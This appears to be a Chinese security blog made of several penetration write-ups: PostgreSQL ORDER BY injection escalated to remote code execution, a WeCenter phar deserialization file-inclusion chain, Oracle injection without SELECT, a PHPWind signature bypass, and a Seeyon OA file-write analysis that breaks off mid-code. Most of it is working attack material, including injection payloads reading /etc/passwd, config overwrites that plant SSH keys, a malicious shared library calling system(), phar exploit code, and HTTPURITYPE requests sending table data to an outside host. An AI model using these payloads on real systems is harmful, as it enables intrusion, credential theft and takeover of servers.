Postgresql Superuser SQL注入 RCE之旅

在测试时,遇到了一个Node.js + Postgresql的ORDER BY注入。

sorter=cast((select+user)as+integer)
返回
invalid input syntax for integer: "postgres"
当前用户为postgres,

sorter=cast((select+version())as+integer)
返回
PostgreSQL 10.1 on x86_64-pc-linux-gnu, compiled by gcc (GCC) 4.4.6 20110731 (Red Hat 4.4.6-4)

版本为PostgreSQL 10, 很明显能够发现当前用户是superuser,superuser感觉rce问题不大。
测试能否多语句,如果可以多语句就可以通过COPY直接实现RCE

sorter=1;select/**/1;--
返回
cannot insert multiple commands into a prepared statement,knex预编译不支持多行命令。pgsql不支持多行时,RCE就比较麻烦了。

先从读文件开始慢慢搞起,
sorter=cast((select+PG_READ_FILE('/etc/passwd'))as+integer)
返回
syntax error at or near "\",单引号被转义不能够直接使用,将单引号替换掉

sorter=cast((select/**/PG_READ_FILE($$/etc/passwd$$))as/**/integer)
返回
absolute path not allowed,在低版本pgsql中PG_READ_FILE、PG_LS_DIR等方法都不支持绝对路径,不过还是能够用largeobject读取文件。

sorter=(select/**/lo_import($$/etc/passwd$$,11111))
页面返回正常, 然后读取loid 11111的data字段获取文件内容
sorter=(select/**/cast(encode(data,$$base64$$)as/**/integer)/**/from/**/pg_largeobject/**/where/**/loid=11111)

将base64解开,
tcpdump:x:72:72::/:/sbin/nologin
syslog:x:996:994::/home/syslog:/bin/false
postgres:x:1000:1000::/home/postgres:/bin/bash

发现postgres账户竟然有/bin/bash能够登陆,那么如果目标机器开了ssh服务,只要往postgres的.ssh目录下写入自己的公钥就能够成功登陆了,扫描发现目标确实开了ssh服务。
这里使用lo_export方法尝试往.ssh目录写文件,

sorter=(select/**/lo_export(11111,$$/home/postgres/.ssh/authorized_keys$$)
返回
desc nulls last limit $5 - could not create server file "/home/postgres/.ssh/authorized_keys": No such file or directory”,”statusCode”:200}

看来是postgres用户目录下并没有.ssh目录,如果能够创建.ssh目录就起飞,翻了很久文档也没翻到能在单行语句下创建目录的方法,暂时只能放弃。

接着去翻了下superuser RCE的各类文章,发现基本都是copy、create的利用,没法在我遇到的环境下利用。
后面看到了一篇介绍修改postgres.conf配置文件实现RCE的利用,配置文件中的ssl_passphrase_command配置在需要获取用于解密SSL文件密码时会调用该配置的命令。
目标环境可以通过lo_export方法覆盖掉配置文件,添加上ssl_passphrase_command配置,重新加载配置后实现RCE。
按着参考文章的步骤一步一步来即可,首先本地测试

1、随便找个私钥文件,对私钥文件加密
openssl rsa -aes256 -in /usr/local/lib/node_modules/npm/node_modules/socks-proxy-agent/node_modules/agent-base/test/ssl-cert-snakeoil.key -out ./asd.key
2、通过注入读取config_file,首先查询配置文件地址select current_setting(‘config_file’),然后通过lo_import读取原始配置文件内容。
3、上传pem,key到目标服务器上,pgsql限制私钥文件权限必须是0600才能够加载,这里搜索
pgsql目录下的所有0600权限的文件可以找到PG_VERSION文件,PG_VERSION与config_file文件同目录,上传私钥文件覆盖PG_VERSION,可绕过权限问题,pem文件可以上传到任意地址。
4、在原始配置文件内容末尾追加上ssl配置,再通过lo_export覆盖原始配置文件

1
2
3
4
ssl_cert_file = '/tmp/ssl-cert-snakeoil.pem'
ssl_key_file = '/pgdata/patroni/data/db/PG_VERSION'
ssl_passphrase_command_supports_reload = on
ssl_passphrase_command = 'bash -c "touch /tmp/zzzzzzzzz & echo passphrase; exit 0"'

这里的echo passphrase,需要输出私钥密码,并且最后需要exit 0,如果私钥密码不对pg_reload_conf重新加载配置文件无影响,但是如果服务重启就无法启动了。
5、通过注入调用pg_reload_conf()函数,重新加载配置调用ssl_passphrase_command实现RCE.

本地测试成功,随后在目标上测试文件,文件写入成功但是最后pg_reload_conf()时,未实现RCE。
对比官方文档,发现pgsql 10版本根本没有ssl_passphrase_command配置,从11版本开始支持该配置。虽然这条路走不通了,不过这篇文章也提供了修改配置文件然后pg_reload_conf实现RCE的思路。postgres.conf中的一些配置是在reloadconf后就会触发,另外一些配置需要服务重启才会触发,接着翻文档看看能不能找到一些比较好玩的参数。
在日志章节中翻到了比较有意思的,

logging_collector (boolean)
This parameter enables the logging collector, which is a background process that captures log messages sent to stderr and redirects them into log files. This approach is often more useful than logging to syslog, since some types of messages might not appear in syslog output. (One common example is dynamic-linker failure messages; another is error messages produced by scripts such as archive_command.) This parameter can only be set at server start.

log_directory (string)
When logging_collector is enabled, this parameter determines the directory in which log files will be created. It can be specified as an absolute path, or relative to the cluster data directory. This parameter can only be set in the postgresql.conf file or on the server command line. The default is log.

logging_collector是用来配置是否开启日志的,只能在服务开启时配置,所以reloadconf不能修改它,但是log_directory配置并没有说只能在服务开启时配置,log_directory用来配置log日志文件存储到哪个目录,很容易想到如果log_directory配置到一个不存在的目录,pgsql会不会帮我创建目录。
经过本地测试,配置文件中的log_directory配置的目录不存在时,pgsql启动会失败,但是如果服务已启动修改配置后再reload_conf目录会被创建,通过该特性再结合刚才的ssh就可以实现利用了。

1
2
3
4
5
6
7
log_destination = 'csvlog'
log_directory = '/pgdata/patroni/logs/postgresql'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_age = '1d'
log_rotation_size = '512MB'
log_timezone = 'Asia/Hong_Kong'
logging_collector = 'on'

查看一下刚才读取的目标pgsql配置文件,发现已经开启了日志记录,那么只要修改掉log_directory配置即可实现目录创建。
将配置文件中的日志部分修改为

1
2
3
4
5
6
7
log_destination = 'csvlog'
log_directory = '/home/postgres/.ssh'
log_filename = 'postgresql-%Y-%m-%d_%H%M%S.log'
log_rotation_age = '1d'
log_rotation_size = '512MB'
log_timezone = 'Asia/Hong_Kong'
logging_collector = 'on'

再去覆盖原有配置文件,首先将修改后的配置文件加载到largeobject中
sorter=(select/**/lo_from_bytea(10000,decode($$配置文件内容base64$$,$$base64$$)))

再通过lo_export覆盖配置文件
sorter=(select/**/lo_export(10000,$$配置文件地址$$))

再重新加载配置文件
sorter=(select/**/pg_reload_conf())
这时候再随便请求一次,产生日志文件。

sorter=(select/**/lo_export(11111,$$/home/postgres/.ssh/authorized_keys$$)
再尝试将自己的公钥写入到authorized_keys,这次返回正常了。
不过ssh连接postgres账户,提示还是需要密码,怀疑可能是站库分离,公钥写入到的不是WEB服务器,通过注入获取数据库服务器ip。

sorter=cast((select/**/inet_server_addr()||$$$$)as/**/integer)
获取到了DB IP,再次连接DB服务器的ssh就ok了, 最后.ssh目录内容如下。

在搞定后,还是觉得这种方法很鸡肋,条件太多
1、postgres账户能登录服务器
2、DB服务器需要有外网ip
3、DB服务器开启了ssh服务
4、DB服务器已开启日志功能

于是尝试去寻找一些更通用的方法,翻了会文档又找到了几个比较有趣的

local_preload_libraries (string)
This variable specifies one or more shared libraries that are to be preloaded at connection start. It contains a comma-separated list of library names, where each name is interpreted as for the LOAD command. Whitespace between entries is ignored; surround a library name with double quotes if you need to include whitespace or commas in the name. The parameter value only takes effect at the start of the connection. Subsequent changes have no effect. If a specified library is not found, the connection attempt will fail.

This option can be set by any user. Because of that, the libraries that can be loaded are restricted to those appearing in the plugins subdirectory of the installation’s standard library directory. (It is the database administrator’s responsibility to ensure that only “safe” libraries are installed there.) Entries in local_preload_libraries can specify this directory explicitly, for example $libdir/plugins/mylib, or just specify the library name — mylib would have the same effect as $libdir/plugins/mylib.

The intent of this feature is to allow unprivileged users to load debugging or performance-measurement libraries into specific sessions without requiring an explicit LOAD command. To that end, it would be typical to set this parameter using the PGOPTIONS environment variable on the client or by using ALTER ROLE SET.

However, unless a module is specifically designed to be used in this way by non-superusers, this is usually not the right setting to use. Look at session_preload_libraries instead.

session_preload_libraries (string)
This variable specifies one or more shared libraries that are to be preloaded at connection start. It contains a comma-separated list of library names, where each name is interpreted as for the LOAD command. Whitespace between entries is ignored; surround a library name with double quotes if you need to include whitespace or commas in the name. The parameter value only takes effect at the start of the connection. Subsequent changes have no effect. If a specified library is not found, the connection attempt will fail. Only superusers can change this setting.

The intent of this feature is to allow debugging or performance-measurement libraries to be loaded into specific sessions without an explicit LOAD command being given. For example, auto_explain could be enabled for all sessions under a given user name by setting this parameter with ALTER ROLE SET. Also, this parameter can be changed without restarting the server (but changes only take effect when a new session is started), so it is easier to add new modules this way, even if they should apply to all sessions.

Unlike shared_preload_libraries, there is no large performance advantage to loading a library at session start rather than when it is first used. There is some advantage, however, when connection pooling is used.

shared_preload_libraries (string)
This variable specifies one or more shared libraries to be preloaded at server start. It contains a comma-separated list of library names, where each name is interpreted as for the LOAD command. Whitespace between entries is ignored; surround a library name with double quotes if you need to include whitespace or commas in the name. This parameter can only be set at server start. If a specified library is not found, the server will fail to start.

Some libraries need to perform certain operations that can only take place at postmaster start, such as allocating shared memory, reserving light-weight locks, or starting background workers. Those libraries must be loaded at server start through this parameter. See the documentation of each library for details.

Other libraries can also be preloaded. By preloading a shared library, the library startup time is avoided when the library is first used. However, the time to start each new server process might increase slightly, even if that process never uses the library. So this parameter is recommended only for libraries that will be used in most sessions. Also, changing this parameter requires a server restart, so this is not the right setting to use for short-term debugging tasks, say. Use session_preload_libraries for that instead.

local_preload_libraries只允许加载指定目录的库,session_preload_libraries只允许superuser修改但是可以加载任意目录的库,感觉这个方便点。session_preload_libraries配置从pg10开始存在,低于pg10时,可以使用local_preload_libraries,不过该配置只允许加载$libdir/plugins/目录下的库,需要将库写入到该目录下。
当每次有新连接进来时,都会加载session_preload_libraries配置的共享库。
这里通过注入将so写入到tmp目录,再修改配置,再reloadconf即可实现利用。
首先编译出一个共享库,一开始想实现直接回显,折腾了下失败了,在共享库中定义好回显函数后,应该需要在数据库中create xxxx才能够实现利用,需要多行,这里暂时是直接在so的构造方法中实现命令执行。
为了防止用户create function直接调用系统库,如libc的system等,pgsql高版本中,加载外部动态库时会检查magic block,如果不存在则加载失败,如果session_preload_libraries配置的so有问题,数据库就会挂掉。

共享库大概代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
#include "postgres.h"
#include "fmgr.h"
#include <stdlib.h>

#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif

__attribute__ ((__constructor__)) void preload (void)
{
system("touch /tmp/test");
}

同时在magic block中,会验证版本是否一致,如果用pg11编译出的so 是不能在pg其他版本中加载的。
首先看看 PG_MODULE_MAGIC的宏定义

1
2
3
4
5
6
7
8
9
10
11
/* The actual data block contents */
#define PG_MODULE_MAGIC_DATA \
{ \
sizeof(Pg_magic_struct), \
PG_VERSION_NUM / 100, \
FUNC_MAX_ARGS, \
INDEX_MAX_KEYS, \
NAMEDATALEN, \
FLOAT4PASSBYVAL, \
FLOAT8PASSBYVAL \
}

其中很明显有个PG_VERSION_NUM,加载so的版本验证就是通过PG_VERSION_NUM,同时因为除了100所以PG_VERSION_NUM最后两位不重要,PG_VERSION_NUM在pg_config.h中定义,

1
2
3
4
5
/* PostgreSQL version as a string */
#define PG_VERSION "12.4"

/* PostgreSQL version as a number */
#define PG_VERSION_NUM 120004

PG_VERSION_NUM的生成方法也比较简单

1
PG_VERSION_NUM      => sprintf("%d%04d", $majorver, $minorver),

12.4 对应 PG_VERSION_NUM 为 120004
9.4.11 对应 PG_VERSION_NUM 为 90411
所以每次编译so时,需要根据目标版本修改一下pg_config.h的PG_VERSION_NUM,通过version()获取到目标的版本是 10.1 那么对应的就为 100001

编译so 然后base64写入目标机器,一顿操作,结果悲剧了 返回 HTTP/1.1 414 Request-URI Too Large, so共享库太大,导致URL超长了,尝试将GET换成POST,发现该注入点并没有接收POST参数,那么还是只有从GET入手,首先想到的肯定就是分段写入。

➜ /tmp cat b.so | base64 | wc -c
21709
末尾多了一个换行,实际长度21708,基本分三次就能搞定,这里分段写入可以使用lo_put。

创建一个空lo,
sorter=(select/**/lo_create(15))
截前7000字符,同时因为base64中含有”+”,所以需要url编码

1
2
>>> urllib.quote(a[:7000])
'f0VMRgIBAQAAAAAAAAAAAAMAPgABAAAAY省略

然后put到lo中,lo_put时必须要在后面拼接一个字符,因为lo_put是一个void方法,order by void会报错,
sorter=(select/**/lo_put(15,0,$$前7000字符$$)||$$x$$):B
继续截取7000-14000字符,然后lo_put
sorter=(select/**/lo_put(15,7000,$$7000-14000$$)||$$x$$):B

写完所有字符后,校验一下写入的内容是否有问题
sorter=cast(encode(lo_get(15),$$escape$$)as/**/integer):b

再将内容base64解码后载入到largeobject中
sorter=(select/**/lo_from_bytea(40,decode(encode(lo_get(15),$$escape$$),$$base64$$))):b

再使用lo_export将so写入到目标机器中
sorter=lo_export(40,$$/tmp/a.so$$)

然后又是老一套,修改目标的配置文件,在目标原始的配置文件最后加入
session_preload_libraries = ‘/tmp/a.so’

再去覆盖掉原始配置文件,在覆盖掉原配置文件后,执行sorter=(select/**/pg_reload_conf())就自动加载了so实现了命令执行。

拿下数据库服务器后,发现数据库配置了pg_hba,不需要密码即可登录。尝试去打web服务器,node-postgres老版本存在代码执行洞,如果能够控制SQL返回的列名即可实现代码执行,这里因为控制了数据库服务器如果给一个表添加一个类似”\‘+console.log(process.env)]=null;//“字段 alter table xxxxx add “'+console.log(process.env)]=null;//“ varchar(20); ,如果web有对该表使用select *操作,即可实现rce.
不过最后没成功,应该还是目标node-postgres版本比较高:(

References

https://pulsesecurity.co.nz/articles/postgres-sqli
https://www.leavesongs.com/PENETRATION/node-postgres-code-execution-vulnerability.html

WECENTER 反序列任意文件包含利用链

看了下最近的WeCenter的反序列,原文最后是通过反序列执行任意SQL语句进入后台实现GETSHELL。自己想另外找一个前台就能GETSHELL的利用链,就去看了下代码。

POP

system/Savant3.php

1
2
3
4
5
6
7
8
class Savant3 {
.......
public function __toString()
{
return $this->getOutput();
}
.......
}

在toString魔术方法中调用了getOutput方法,

1
2
3
4
5
6
7
8
9
10
public function getOutput($tpl = null)
{
$output = $this->fetch($tpl);
if ($this->isError($output)) {
$text = $this->__config['error_text'];
return $this->escape($text);
} else {
return $output;
}
}

接着调用fetch方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
public function fetch($tpl = null)
{
// make sure we have a template source to work with
if (is_null($tpl)) {
$tpl = $this->__config['template'];
}

// get a path to the compiled template script
$result = $this->template($tpl);

// did we get a path?
if (! $result || $this->isError($result)) {

// no. return the error result.
return $result;

} else {

// yes. execute the template script. move the script-path
// out of the local scope, then clean up the local scope to
// avoid variable name conflicts.
$this->__config['fetch'] = $result;
unset($result);
unset($tpl);

// are we doing extraction?
if ($this->__config['extract']) {
// pull variables into the local scope.
extract(get_object_vars($this), EXTR_REFS);
}

// buffer output so we can return it instead of displaying.
ob_start();

// are we using filters?
if ($this->__config['filters']) {
// use a second buffer to apply filters. we used to set
// the ob_start() filter callback, but that would
// silence errors in the filters. Hendy Irawan provided
// the next three lines as a "verbose" fix.
ob_start();
include $this->__config['fetch'];
echo $this->applyFilters(ob_get_clean());
} else {
// no filters being used.
include $this->__config['fetch'];
}

// reset the fetch script value, get the buffer, and return.
$this->__config['fetch'] = null;
return ob_get_clean();
}
}

在getOutput调用fetch方法时,传入的参数为null。所以这时候可以通过控制__config[‘template’]成员变量进而控制tpl模板路径。接着会调用template方法获取模板文件绝对路径,如果文件存在就会包含该文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
protected function template($tpl = null)
{
// set to default template if none specified.
if (is_null($tpl)) {
$tpl = $this->__config['template'];
}

// find the template source.
$file = $this->findFile('template', $tpl);
if (! $file) {
return $this->error(
'ERR_TEMPLATE',
array('template' => $tpl)
);
}

在template方法中,通过findFile方法获取模板文件的绝对路径,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
protected function findFile($type, $file)
{
// get the set of paths
$set = $this->__config[$type . '_path'];

// start looping through the path set
foreach ($set as $path) {

// get the path to the file
$fullname = $path . $file;

// is the path based on a stream?
if (strpos($path, '://') === false) {
// not a stream, so do a realpath() to avoid
// directory traversal attempts on the local file
// system. Suggested by Ian Eure, initially
// rejected, but then adopted when the secure
// compiler was added.
$path = realpath($path); // needed for substr() later

$fullname = realpath($fullname);

}

// the substr() check added by Ian Eure to make sure
// that the realpath() results in a directory registered
// with Savant so that non-registered directores are not
// accessible via directory traversal attempts.
if (file_exists($fullname) && is_readable($fullname) &&
substr($fullname, 0, strlen($path)) == $path) {
return $fullname;
}
}

// could not find the file in the set of paths
return false;

可见模板的目录来自__config[$type . ‘_path’]成员变量,模板文件名来自tpl变量,都可以通过反序列控制这些变量。如果文件存在就会直接返回该文件路径然后包含该文件,所以在反序列时,可以实现任意文件包含。

接着需要找一个能触发Savant3类__toString方法的链。
在system/Zend/Mail/Protocol/Imap.php中,

1
2
3
4
5
6
7
8
9
class Zend_Mail_Protocol_Imap
{
........
public function __destruct()
{
$this->logout();
}
........
}

跟入logout方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function logout()
{
$result = false;
if ($this->_socket) {
try {
$result = $this->requestAndResponse('LOGOUT', array(), true);
} catch (Zend_Mail_Protocol_Exception $e) {
// ignoring exception
}
fclose($this->_socket);
$this->_socket = null;
}
return $result;
}

在设置了_socket成员变量的情况下会接着调用requestAndResponse方法,

1
2
3
4
5
6
7
public function requestAndResponse($command, $tokens = array(), $dontParse = false)
{
$this->sendRequest($command, $tokens, $tag);
$response = $this->readResponse($tag, $dontParse);

return $response;
}
1
2
3
4
5
6
7
8
public function sendRequest($command, $tokens = array(), &$tag = null)
{
if (!$tag) {
++$this->_tagCount;
$tag = 'TAG' . $this->_tagCount;
}

$line = $tag . ' ' . $command;

在sendRequest方法中,++操作符对对象类型无影响,_tagCount属性和’TAG’字符串进行了拼接,将_tagCount属性设置为Savant3的实例对象就能触发Savant3的toString魔术方法进而实现利用。

反序列触发点就不再写了,直接看之前的文章即可。

利用

/?/publish/
注册完账号后,在发起问答里上传被包含的图片

-w1393

uploads/question/20200122/81f8ed3cbc7fe76fc7b18e28108316b9.jpg

然后生成Phar, 访问plugins/wc_editor/editor.php文件可获取到绝对路径,也可以使用相对路径。
-w932

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<?php

class Savant3{

protected $__config = array();

function __construct(){
$this->__config['template'] = '81f8ed3cbc7fe76fc7b18e28108316b9.jpg';
$this->__config['template_path'] = array("/Applications/MAMP/htdocs/test/wecenter/uploads/question/20200122/");
}

}

class Zend_Mail_Protocol_Imap{
protected $_socket;
protected $_tagCount;

function __construct()
{
$this->_socket = 'a';
$this->_tagCount = new Savant3();
}
}

$obj = new Zend_Mail_Protocol_Imap();

$filename = "exp.phar";
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setMetadata($obj);
$phar->addFromString("a","b");
$phar->stopBuffering();
?>

生成后接着上传phar文件。
-w1427

得到phar文件地址,
uploads/question/20200122/126d8d61e2d864a875dc714380b833a6.jpg

接着访问/?/m/weixin/binding/ 绑定微信,将phar文件地址替换到以下cookie里

1
cookie前缀_WXConnect={"access_token":{"openid":"aa"},"access_user":{"nickname":"aaa","headimgurl":"phar://./uploads/question/20200122/126d8d61e2d864a875dc714380b833a6.jpg"}}

-w1068

最后访问/?/account/ajax/synch_img/ 即可触发反序列。

-w518

References

1.https://xz.aliyun.com/t/7077

ORACLE 无SELECT注入

在实际测试中, 经常遇到一出现SELECT就被拦截的场景, 对于无法多行查询的注入来说,一般遇到这种场景就告别出数据了(能出个user等信息)。闲着读ORACLE文档的时候, 发现ORACLE支持使用Xpath进行查询, 通过使用Xpath可以实现无SELECT查询数据。

测试环境

https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694

Description of DBUriType
The DBUriType is a subtype of the UriType that provides support for of DBUri-refs. A DBUri-ref is an intra-database URL that can be used to reference any row or row-column data in the database. The URL is specified as an XPath expression over a XML visualization of the database. The schemas become elements which contain tables and views. These tables and view further contain the rows and columns inside them.

从文档中可以看出DBUriType支持使用XPath表达式查询数据库中的数据。
-w724

从上图中能够看出虚拟视图的结构,很容易的能够看出uri的格式为/oradb/schemaname/tablename/ROW[predicate_expression],oradb可省略(也支持查询视图)。

正常查询结果。
-w319

使用DBURITYPE查询结果。
-w338

本地用JDBC简单搭建个非dba ORACLE SQL注入环境。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
String username = req.getParameter("username");
resp.setHeader("Content-type", "text/html;charset=UTF-8");
resp.setCharacterEncoding("UTF-8");
try {
Class.forName("oracle.jdbc.driver.OracleDriver");
Connection conn = DriverManager.getConnection("jdbc:oracle:thin:@39.108.232.59:49161:xe", "system", "oracle");
Statement sts = conn.createStatement();

if(username.toLowerCase().contains("select")){
resp.getWriter().print("含有非法字符");
return;
}
System.out.println(String.format("select count(*) from HR.test where username = '%s'", username));
ResultSet rs = sts.executeQuery(String.format("select count(*) from HR.test where username = '%s'", username));
rs.next();
int row = rs.getInt(1);
if(row > 0){
resp.getWriter().print("已注册");
}else{
resp.getWriter().print("未注册");
}
}catch(Exception e){
e.printStackTrace();
}

盲注

/oradb/schemaname/tablename/ROW[predicate_expression]

1
select DBURITYPE('/HR/TEST/ROW[USERNAME="admin"]/USERNAME').getxml() from dual 

在测试盲注时, 我没能在predicate_expression中实现模糊查询或者通配, 大概翻了下文档也没找到,只能够进行完整的匹配,不能模糊查询或者通配基本没法盲注。
所以在这里换成了使用extractvalue解析查询出来的xml再进行盲注。
/checkUsername?username=admin’ and extractvalue(DBURITYPE(‘/HR/TEST’).getxml(),’/TEST/ROW[1]/PASSWORD’)like’admin%25’–
-w984

-w1011

能够实现盲注, extractvalue容易被拦,可以换成extract进行盲注,需要查询第二行时修改为ROW[2]即可查询。
使用extract盲注时, 需注意查询出的xml结果会带有列名<PASSWORD>admin</PASSWORD>

OOB

oracle本身能够很容易的外带数据, 在能够发送HTTP请求出网时就不再需要盲注,这里直接使用httpuritype外带出dburitype查询出的数据。

/checkUsername?username=a’ and HTTPURITYPE(‘http://HOST/'|| DBURITYPE(‘/HR/TEST’).getxml()).getcontenttype() is null–

-w1400
外带出了表中的所有数据, 在表中数据数量过于庞大时发送GET请求可能会出现问题。可以使用上面的extract外带一行数据等方法。
-w902

SSRF + CRLF

使用httpuritype发送HTTP请求存在CRLF问题, 在存在注入无法RCE时可以尝试打内网的redis等。
-w1231

References

https://docs.oracle.com/cd/B10501_01/appdev.920/a96616/arxml35.htm#1004694
https://docs.oracle.com/cd/B12037_01/appdev.101/b10790/xdb15dbu.htm#i1032143

PHPWIND 老版本GBK 任意管理API调用

前言

​ 几年前,PHPWIND出过一个MD5 Padding可实现调用任意管理api方法的问题自己写了个exp, 不过遇到个老gbk(2014)版本没法成功利用, 下载了个GBK版本看了下代码。之前漏洞成因可以查看Reference链接,这里不再细谈。

分析

​ 直接对比一下两个版本关键代码的不同之处。

​ UTF版本 src/windid/service/user/srv/WindidUserService.php

1
2
3
public function showFlash($uid, $appId, $appKey, $getHtml = 1) {
$time = Pw::getTime();
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));

​ src/windid/service/base/WindidUtility.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static function appKey($apiId, $time, $secretkey, $get, $post) {
// 注意这里需要加上__data,因为下面的buildRequest()里加了。
$array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
'Filename', 'Upload', 'token', '__data');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}

return md5(md5($apiId.'||'.$secretkey).$time.$str);
}

​ GBK版本 src/windid/service/user/srv/WindidUserService.php

1
2
3
public function showFlash($uid, $appId, $appKey, $getHtml = 1) {
$time = Pw::getTime();
$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash'), array('uid'=>'undefined'));

​ src/windid/service/base/WindidUtility.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static function appKey($apiId, $time, $secretkey, $get, $post) {
$array = array('m', 'c', 'a', 'windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token', 'Filename', 'Upload', 'token');
$str = '';
ksort($get);
ksort($post);
foreach ($get AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
foreach ($post AS $k=>$v) {
if (in_array($k, $array)) continue;
$str .=$k.$v;
}
return md5(md5($apiId.'||'.$secretkey).$time.$str);
}

这里很大的一个区别是在GBK版本中appKey签名方法, 竟然不将m、c、a参数值加入签名中计算, 那么相当于我们能够随意修改这些参数。GBK版本中, showFlash方法中调用appKey方法时也未将m、c、a参数加入到get数组中。

那么相当于我们在访问/index.php?m=profile&c=avatar&_left=avatar

1
<param name="FlashVars" value="postAction=ra_postAction&redirectURL=/&requestURL=http%3A%2F%2Flocalhost%2Fphpwindgbk%2Fwindid%2Findex.php%3Fm%3Dapi%26c%3Davatar%26a%3DdoAvatar%26uid%3D2%26windidkey%3D7d0cff9b85cc0f62fe062421d1caf067%26time%3D1567155029%26clientid%3D1%26type%3Dflash&avatar=http%3A%2F%2Flocalhost%2Fphpwindgbk%2Fwindid%2Fattachment%2Favatar%2F000%2F00%2F00%2F2.jpg%3Fr%3D66455"/>

拿到的windidkey(7d0cff9b85cc0f62fe062421d1caf067)是md5(md5($apiId.’||’.$secretkey).$time.’typeflashuid2uidundefined’)的值, 从FlashVars中可以拿到time和apiId(clintid)所以也就是md5(md5(‘1’.’||’.$secretkey).’1567155029’.’typeflashuid2uidundefined’) uid2这个每个环境都不同,不过uid也输出到了FlashVars中。

接着来看调用管理的api时是如何对签名进行校验的,

src/applications/windidserver/api/controller/OpenBaseController.php

1
2
3
4
5
6
7
8
9
10
11
12
public  function beforeAction($handlerAdapter) {
parent::beforeAction($handlerAdapter);
$charset = 'utf-8';
$_windidkey = $this->getInput('windidkey', 'get');
$_time = (int)$this->getInput('time', 'get');
$_clientid = (int)$this->getInput('clientid', 'get');
if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
$clent = $this->_getAppDs()->getApp($_clientid);
if (!$clent) $this->output(WindidError::FAIL);
if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey) $this->output(WindidError::FAIL);

$time = Pw::getTime();

time、clientid都已知, 这里因为m、c、a参数并不会加入签名计算,我们只要构造出typeflashuid2uidundefined就能通过判断进而调用任意Api方法。

1567155842824

如何判断是否为GBK版本

1
2
<meta charset="GBK" />
<title>本站新帖 - phpwind 9.0 - Powered by phpwind</title>

直接查看meta标签的charset属性就能确定。

References

  1. https://mp.weixin.qq.com/s?__biz=MzA5NzQxOTQ1MA==&mid=2247483676&idx=1&sn=161d456328bdcf71b65a03a3376891dc

致远oa 任意文件写入漏洞分析

前言

之前写的文章了,一开始发到了其他地方,想了想还是copy一份到博客里增加点数量。

​ 前段时间致远oa爆出了任意文件写入漏洞, 当时广为流传的poc中数据包一些参数值被编码, 最初由于不知道加密方式编写poc不太方便,在拿到了致远oa的源码后对该漏洞进行了分析并编写poc。

漏洞分析

​ 漏洞本身是一个很简单的漏洞,但是因为加密的原因稍微使利用麻烦了一点。

​ 漏洞出现在 \WEB-INF\lib\seeyon-apps-common.jar!\com\seeyon\ctp\common\office\HtmlOfficeServlet.class,该类为一个Servlet。

1
2
3
4
5
6
7
8
9
10
11
<servlet-mapping>
<servlet-name>htmlofficeservlet</servlet-name>
<url-pattern>/htmlofficeservlet</url-pattern>
</servlet-mapping>

<servlet>
<servlet-name>htmlofficeservlet</servlet-name>
<servlet-class>
com.seeyon.ctp.common.office.HtmlOfficeServlet
</servlet-class>
</servlet>

​ 在web.xml中, 将/htmlofficeservlet映射到了该Servlet。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
public class HtmlOfficeServlet extends HttpServlet {
..............................
public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
AppContext.initSystemEnvironmentContext(request, response);
HandWriteManager handWriteManager = (HandWriteManager)AppContext.getBean("handWriteManager");
HtmlHandWriteManager htmlHandWriteManager = (HtmlHandWriteManager)AppContext.getBeanWithoutCache("htmlHandWriteManager");
iMsgServer2000 msgObj = new iMsgServer2000();

try {
handWriteManager.readVariant(request, msgObj);
if (AppContext.currentUserId() == -1L) {
User user = handWriteManager.getCurrentUser(msgObj);
AppContext.putThreadContext("SESSION_CONTEXT_USERINFO_KEY", user);
}

msgObj.SetMsgByName("CLIENTIP", Strings.getRemoteAddr(request));
String option = msgObj.GetMsgByName("OPTION");
if ("LOADFILE".equalsIgnoreCase(option)) {
handWriteManager.LoadFile(msgObj);
.................................................
else if ("SAVEASIMG".equalsIgnoreCase(option)) {
String fileName = msgObj.GetMsgByName("FILENAME");
String tempFolder = (new File((new File("")).getAbsolutePath())).getParentFile().getParentFile().getPath();
String tempPath = tempFolder + "/base/upload/taohongTemp";
File folder = new File(tempPath);
if (!folder.exists()) {
folder.mkdir();
}

msgObj.MsgFileSave(tempPath + "/" + fileName);
}

​ 在该Servlet中, 存在一个SAVEASIMG操作, 从msgObj中获取到FILENAME后与tempPath拼接成最终保存路径,传递给MsgFileSave方法。

1
2
3
4
5
6
7
8
9
10
11
12
public boolean MsgFileSave(String var1) {
try {
FileOutputStream var2 = new FileOutputStream(var1);
var2.write(this.FMsgFile);
var2.close();
return true;
} catch (Exception var3) {
this.FError = this.FError + var3.toString();
